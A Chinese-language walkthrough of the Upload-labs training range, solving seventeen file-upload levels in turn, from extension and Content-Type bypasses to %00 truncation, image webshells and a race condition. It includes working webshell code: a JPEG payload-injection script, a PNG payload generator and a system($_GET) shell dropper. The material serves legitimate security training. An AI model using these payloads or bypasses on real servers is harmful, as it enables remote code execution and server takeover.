文件上传漏洞练习 Upload-labs是一个帮你总结各种类型的上传漏洞的靶场,包括常见的文件上传漏洞 项目地址:https://github.com/c0ny1/upload-labs
Summary
构造优质上传漏洞Fuzz字典 http://www.hacksec.cn/Tools/866.html
Pass-01 js检查 直接上传php木马,发现前端报错:
在这使用传统的抓包,修改后缀名。是可以上传成功的,但是不是这一关的目的,我们看看源代码分析一波
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function checkFile () { var file = document.getElementsByName('upload_file' )[0 ].value; if (file == null || file == "" ) { alert("请选择要上传的文件!" ); return false ; } var allow_ext = ".jpg|.png|.gif" ; var ext_name = file.substring(file.lastIndexOf("." )); if (allow_ext.indexOf(ext_name + "|" ) == -1 ) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false ; } }
可以看到,只是在客户端使用js对不合法图片进行检查,我们可以尝试绕过
如果是前端验证我们可以选择火狐浏览器中的NoScript插件禁用js,这样我们就可以安全的上传
但对于前端的过滤没有必要这么复杂,其实,还可以这样,直接把过滤的函数cheakfile() 在上传前删掉,也可以上传成功
或者修改参数
在白名单中加上.php
复制该函数于控制台并回车
随后即可成功上传
Pass-02 验证Content-type 本题中使用传统的抓包,单纯修改后缀名是不行的 查看源码观察一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file' ]['type' ] == 'image/jpeg' ) || ($_FILES['upload_file' ]['type' ] == 'image/png' ) || ($_FILES['upload_file' ]['type' ] == 'image/gif' )) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file' ]['name' ] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '文件类型不正确,请重新上传!' ; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!' ; } }
基础姿势: 1 2 3 4 5 $_FILES ["file" ]["name" ] – 被上传文件的名称$_FILES ["file" ]["type" ] – 被上传文件的类型$_FILES ["file" ]["size" ] – 被上传文件的大小,以字节计$_FILES ["file" ]["tmp_name" ] – 存储在服务器的文件的临时副本的名称$_FILES ["file" ]["error" ] – 由文件上传导致的错误代码
1 2 3 4 5 6 move_uploaded_file(file,newloc) 函数将上传的文件移动到新位置。 参数 描述 file 必需。规定要移动的文件。 newloc 必需。规定文件的新位置。 如果 file 不是合法的上传文件,不会出现任何操作,move_uploaded_file() 将返回 false 。 如果 file 是合法的上传文件,但出于某些原因无法移动,不会出现任何操作,move_uploaded_file() 将返回 false ,此外还会发出一条警告。
发现只是对文件类型Content-type 进行过虑 于是上传xxx.php文件抓包修改content-type为image/jpeg或其他绕过
修改为:
点击Forward发送
Pass-03 黑名单绕过 不能上传,但能上传 php.jpg,php.asd 说明是黑名单限制
发现是黑名单判断,服务器端禁止上传’.asp’,’.aspx’,’.php’,’.jsp’后缀的脚本文件 其采用的黑名单,php的话有时候php3、php4、php5、phtml、pht这些后缀也是可以被解析的(配置的原因),其他语言也有类似的情况,需要尝试:
上传木马抓包
修改文件名后缀(配置不同,可解析的后缀也不同):
Pass-04 .htaccess绕过 上传.htaccess文件需要:|1.mod_rewrite模块开启|2.AllowOverride All|
该题的源码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,"php1" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,"pHp1" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.' ); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000 ,9999 ).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
发现同样有黑名单过滤,但是发下有一个文件是没有过滤,也是我们上传过程中经常用到的.htaccess
.htaccess重点姿势 .htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法,即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
启用.htaccess ,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。它里面有这样一段代码:AllowOverride None,如果我们把None改成All
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
可以通过上传.htaccess文件然后将该文件夹下的所有例如.jpg的文件都按照脚本语言解析,上传如下内容的.htaccess 文件:
意思是将文件夹下的one.jpg文件按照php格式去解析,然后再上传一个文件名为one.jpg内容为木马的文件,然后访问,可以执行代码(其中.jpg也可换成test等其他,但其他也需改变)
或
或
这样所有文件都会解析为php
上传成功后,在上传个图片马:
发现成功上传,可以访问一下,发现成功执行:
Pass-05 大小写绕过——Windows 拿源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.' ); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000 ,9999 ).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
可以看到在第五关代码中没有这个
1 $file_ext = strtolower($file_ext);
所以我们可以通过大小写进行绕过了:
抓包:
回显:
Pass-06 空格绕过——Windows 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = $_FILES['upload_file' ]['name' ]; $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.' ); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .date("YmdHis" ).rand(1000 ,9999 ).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件不允许上传' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
这一关比第五关少了这样的一句代码
1 $file_ext = trim($file_ext);
所以可以后缀名+空格的形式去绕过,抓包
修改:
Pass-07 点绕过——Windows 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_ext = strrchr($file_name, '.' ); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); $file_ext = trim($file_ext); if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = '此文件类型不允许上传!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
查看代码发现,大小写,空格,等等都是绕不过的,但是还有一个在后缀名中家点号 没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,上传后文件名后缀的点会被去除,所以可在后缀名中加”.”绕过,走起:
Pass-08 ::$DATA绕过——Windows 这一题的代码比上一次少了下面这一段代码
1 $file_ext = str_ireplace('::$DATA' , '' , $file_ext);
这个是关于windows下文件的流特性,可以参考一下这篇文章https://www.owasp.org/index.php/Windows_::DATA_alternate_data_stream 在后缀添加::$DATA 即可绕过上传1.php::$DATA之后会变成1.php
NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。
上传xxx.php::$DATA绕过。(仅限windows)
Pass-09 点空格点绕过——Windows 这一关像是前几关的组合拳,虽然把最后的点给删掉,但是仍然可以绕过,因为这里的过滤并没有递归下去,只是一步,这样就相当于SQL注入里面用str_replace只过滤一次关键字一样
1 2 3 4 5 6 7 $deny_ext = array (".php" ,".php5" ,".php4" ,".php3" ,".php2" ,".html" ,".htm" ,".phtml" ,".pht" ,".pHp" ,".pHp5" ,".pHp4" ,".pHp3" ,".pHp2" ,".Html" ,".Htm" ,".pHtml" ,".jsp" ,".jspa" ,".jspx" ,".jsw" ,".jsv" ,".jspf" ,".jtml" ,".jSp" ,".jSpx" ,".jSpa" ,".jSw" ,".jSv" ,".jSpf" ,".jHtml" ,".asp" ,".aspx" ,".asa" ,".asax" ,".ascx" ,".ashx" ,".asmx" ,".cer" ,".aSp" ,".aSpx" ,".aSa" ,".aSax" ,".aScx" ,".aShx" ,".aSmx" ,".cEr" ,".sWf" ,".swf" ,".htaccess" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.' ); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA' , '' , $file_ext); $file_ext = trim($file_ext);
可以遵循着他的步骤去实现自己的payload,可以设置为pass09.php. .
这样一来检测到最后的文件名是pass09.php. ,这样就相当于第七关了
Pass-10 双写绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = trim($_FILES['upload_file' ]['name' ]); $file_name = str_ireplace($deny_ext,"" , $file_name); $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = UPLOAD_PATH.'/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ; } }
关键函数解析 1 2 3 4 5 6 str_ireplace(find,replace,string,count) 参数 描述 find 必需。规定要查找的值。 replace 必需。规定替换 find 中的值的值。 string 必需。规定被搜索的字符串。 count 可选。一个变量,对替换数进行计数。
上面的代码依旧是黑名单过滤,这里是将文件后缀名替换为空,只替换了一次
1 2 3 4 5 6 7 <?php $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = str_ireplace($deny_ext,"" , 'pphphp' ); var_dump($file_name); ?>
Pass-11 00截断GET方式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr($_FILES['upload_file' ]['name' ],strrpos($_FILES['upload_file' ]['name' ],"." )+1 ); if (in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = $_GET['save_path' ]."/" .rand(10 , 99 ).date("YmdHis" )."." .$file_ext; if (move_uploaded_file($temp_file,$img_path)){ $is_upload = true ; } else { $msg = '上传出错!' ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
关键函数解析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 strrpos() 定义和用法 strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。 注释:strrpos() 函数对大小写敏感。 相关函数: stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写) strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写) strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写) 语法 strrpos(string,find,start) 参数 描述 string 必需。规定被搜索的字符串。 find 必需。规定要查找的字符。 start 可选。规定在何处开始搜索。
1 2 3 4 5 6 7 substr() 这里写代码片语法 substr(string,start,length) 参数 描述 string 必需。规定要返回其中一部分的字符串。 start 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾开始的指定位置开始0 - 在字符串中的第一个字符处开始 length 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度负数 - 从字符串末端返回的长度
test:
1 2 3 4 5 6 <?php $a = '1.jpg' ; $file_ext = substr($a,strrpos($a,"." )+1 ); var_dump($file_ext); ?> 返回jpg
分析代码:
1 $img_path = $_GET['save_path' ]."/" .rand(10 ,99 ).date("YmdHis" )."." .$file_ext;
发现那个路径没有处理直接拼接上去的。所以可以利用00截断绕过。但是发现怎么截断都没有用。查阅资料:
1 2 3 截断条件: php版本小于5.3.4 详情关注CVE-2006-7243 php的magic_quotes_gpc为OFF状态
解决后,抓包
请求中会自动将%00进行url解码,在后台进行拼凑的时候会自动阶段后面的字符串 上传成功后的文件名即为你修改的名
补充: 在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断
Pass-12 00截断POST方式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_ext = substr($_FILES['upload_file' ]['name' ],strrpos($_FILES['upload_file' ]['name' ],"." )+1 ); if (in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $img_path = $_POST['save_path' ]."/" .rand(10 , 99 ).date("YmdHis" )."." .$file_ext; if (move_uploaded_file($temp_file,$img_path)){ $is_upload = true ; } else { $msg = "上传失败" ; } } else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; } }
该题也是00截断,只不过由于文件路径这个参数是通过post请求发送的,需要抓包后再hex中修改,因为post不会像get对%00进行自动解码
1 $img_path = $_POST['save_path' ]."/" .rand(10 , 99 ).date("YmdHis" )."." .$file_ext;
save_path 从 GET 变成了 POST, 此时不能再使用 %00 截断, 原因是 %00 截断在 GET 中被 url 解码之后是空字符, 但是在 POST 中 %00 不会被 url 解码, 所以只能通过 burpsuite 修改 hex 值为 00 进行截断. 这里把 2b(‘+’的 hex) 修改成 00 或者把 20(‘空格’的hex)修改为00
这里的路径 1.php+或1.php 都可 需自己手动加上
完成发送即可上传
补充: 在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断
Pass-13 图片马 通过上传图片马,再利用本地包含漏洞执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 function getReailFileType ($filename) { $file = fopen($filename, "rb" ); $bin = fread($file, 2 ); fclose($file); $strInfo = @unpack("C2chars" , $bin); $typeCode = intval($strInfo['chars1' ].$strInfo['chars2' ]); $fileType = '' ; switch ($typeCode){ case 255216 : $fileType = 'jpg' ; break ; case 13780 : $fileType = 'png' ; break ; case 7173 : $fileType = 'gif' ; break ; default : $fileType = 'unknown' ; } return $fileType; } $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])){ $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $file_type = getReailFileType($temp_file); if ($file_type == 'unknown' ){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand(10 , 99 ).date("YmdHis" )."." .$file_type; if (move_uploaded_file($temp_file,$img_path)){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
发现主要是取上传文件的头两个字节判断文件类型,因此直接上传图片马即可 图片马制作方法,cmd中执行:
1 2 3 copy one.jpg /b + one.php /a one.jpg /b:指定二进制格式复制、合并文件,用于图像或者声音类文件 /a:指定以ascii格式复制、合并文件,用于txt等文本累文件
或
利用16进制编辑器在图片的编辑栏末尾加上木马
成功上传,而且得到文件的名称。我们后期如果存在文件包含漏洞就可以利用
比如我们简单写一个存在文件包含漏洞的页面:
1 2 3 4 5 6 <?php $file = $_GET[ 'page' ]; include ($file);?>
发现可以成功利用漏洞:
Pass-14 图片马getimagsize函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 function isImage ($filename) { $types = '.jpeg|.png|.gif' ; if (file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2 ]); if (stripos($types,$ext)>=0 ){ return $ext; }else { return false ; } }else { return false ; } } $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])){ $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $res = isImage($temp_file); if (!$res){ $msg = "文件未知,上传失败!" ; }else { $img_path = UPLOAD_PATH."/" .rand(10 , 99 ).date("YmdHis" ).$res; if (move_uploaded_file($temp_file,$img_path)){ $is_upload = true ; } else { $msg = "上传出错!" ; } } }
关键代码:
1 2 3 4 $types = '.jpeg|.png|.gif' ; if (file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2 ]);
这里用getimagesize获取文件类型,还是直接就可以利用图片马就可进行绕过,
知识补充点: 1 2 3 4 array getimagesize ( string $filename [, array &$imageinfo ] )getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。 如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。
同样用上一关的图片木马进行上传也可成功 利用方式和上一关一样,需要文件包含漏洞
Pass-15 图片马php_exif 本关还是要上传一个图片马,这里用到php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过就不多说。
Pass-16 图片马二次渲染 因为上传显示的的图片是二次渲染后生成的新图片,所以之前插入在图片中的代码会被过滤掉,因此上述的图片马无法实现
不同图片不同的绕过方法:
gif: 先把gif上传后,取出该文件与未修改的文件进行对比
蓝色部分内容为未改变的部分,因此可在蓝色部分中插入木马上传绕过
再上传
被修改的内容未被过滤,成功绕过,再结合文件包含漏洞
jpg: 过于复杂,利用脚本处理得到上传图片:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 <?php $miniPayload = "<?php eval($_POST['DD']); ?>" ; if (!extension_loaded('gd' ) || !function_exists('imagecreatefromjpeg' )) { die ('php-gd is not installed' ); } if (!isset ($argv[1 ])) { die ('php jpg_payload.php <jpg_name.jpg>' ); } set_error_handler("custom_error_handler" ); for ($pad = 0 ; $pad < 1024 ; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1 ]); $outStream = file_get_contents($argv[1 ]); $extraBytes = 0 ; $correctImage = TRUE ; if ($dis->readShort() != 0xFFD8 ) { die ('Incorrect SOI marker' ); } while ((!$dis->eof()) && ($dis->readByte() == 0xFF )) { $marker = $dis->readByte(); $size = $dis->readShort() - 2 ; $dis->skip($size); if ($marker === 0xDA ) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0 , $startPos) . $miniPayload . str_repeat("\0" ,$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_' .$argv[1 ], $outStreamTmp, TRUE ); if ($extraBytes !== 0 ) { while ((!$dis->eof())) { if ($dis->readByte() === 0xFF ) { if ($dis->readByte !== 0x00 ) { break ; } } } $stopPos = $dis->seek() - 2 ; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0 , $startPos) . $miniPayload . substr( str_repeat("\0" ,$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0 , $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif ($correctImage) { $outStream = $outStreamTmp; } else { break ; } if (checkImage('payload_' .$argv[1 ], $outStream)) { die ('Success!' ); } else { break ; } } } } unlink('payload_' .$argv[1 ]); die ('Something\'s wrong' ); function checkImage ($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE ; imagecreatefromjpeg($filename); if ($unlink) unlink($filename); return $correctImage; } function custom_error_handler ($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE ; if (preg_match('/(\d+) extraneous bytes before marker/' , $errstr, $m)) { if (isset ($m[1 ])) { $extraBytes = (int)$m[1 ]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct ($filename, $order = false, $fromString = false) { $this ->binData = '' ; $this ->order = $order; if (!$fromString) { if (!file_exists($filename) || !is_file($filename)) die ('File not exists [' .$filename.']' ); $this ->binData = file_get_contents($filename); } else { $this ->binData = $filename; } $this ->size = strlen($this ->binData); } public function seek () { return ($this ->size - strlen($this ->binData)); } public function skip ($skip) { $this ->binData = substr($this ->binData, $skip); } public function readByte () { if ($this ->eof()) { die ('End Of File' ); } $byte = substr($this ->binData, 0 , 1 ); $this ->binData = substr($this ->binData, 1 ); return ord($byte); } public function readShort () { if (strlen($this ->binData) < 2 ) { die ('End Of File' ); } $short = substr($this ->binData, 0 , 2 ); $this ->binData = substr($this ->binData, 2 ); if ($this ->order) { $short = (ord($short[1 ]) << 8 ) + ord($short[0 ]); } else { $short = (ord($short[0 ]) << 8 ) + ord($short[1 ]); } return $short; } public function eof () { return !$this ->binData||(strlen($this ->binData) === 0 ); } } ?>
但有一些jpg图片不能被处理,所以要多尝试一些jpg图片 使用脚本处理1.jpg
得到
用16进制编辑器查看
生成的图片中已插入php代码 上传该图片码后,插入的php代码未被过滤
png: 同样使用脚本处理图片:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 ); $img = imagecreatetruecolor(32 , 32 ); for ($y = 0 ; $y < sizeof($p); $y += 3 ) { $r = $p[$y]; $g = $p[$y+1 ]; $b = $p[$y+2 ]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3 ), 0 , $color); } imagepng($img,'./1.png' ); ?>
得到
16进制编辑器查看
php代码已插入 代码的使用: url:
post:
相当于执行命令system(ipconfig)
本关还是要上传一个图片马。
1 2 3 4 5 6 7 imagecreatefrom 系列函数用于从文件或 URL 载入一幅图像,成功返回图像资源,失败则返回一个空字符串。 该系列函数有: imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像 imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像 imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像 imagecreatefromwbmp():创建一块画布,并从 WBMP 文件或 URL 地址载入一副图像 imagecreatefromstring():创建一块画布,并从字符串中的图像流新建一副图像
Pass-17 条件竞争 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $is_upload = false ; $msg = null ; if (isset ($_POST['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES['upload_file' ]['name' ]; $temp_file = $_FILES['upload_file' ]['tmp_name' ]; $file_ext = substr($file_name,strrpos($file_name,"." )+1 ); $upload_file = UPLOAD_PATH . '/' . $file_name; if (move_uploaded_file($temp_file, $upload_file)){ if (in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/' . rand(10 , 99 ).date("YmdHis" )."." .$file_ext; rename($upload_file, $img_path); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink($upload_file); } }else { $msg = '上传出错!' ; } }
在if判读不通过unlink文件之前已经用move_uploaded_file函数将文件上传到upload目录下,所以通过bp不断的上传weshell,然后在浏览器中不断的访问总能访问到未被unlink的webshell文件
这里可以使用burp去发包, 即用Burp不断上传,再用burp不断访问 ,在burp中不断发送上传webshell的数据包,可以把文件内容改成下面这样 (就是为了写文件进去就对了)
1 2 3 4 <?php $c=fopen('./cmd.php' ,'w' ); fwrite($c,'<?php system($_GET["f"]);?>' ); ?>
跑了之后, 就会在该文件夹下面产生新的文件了
访问
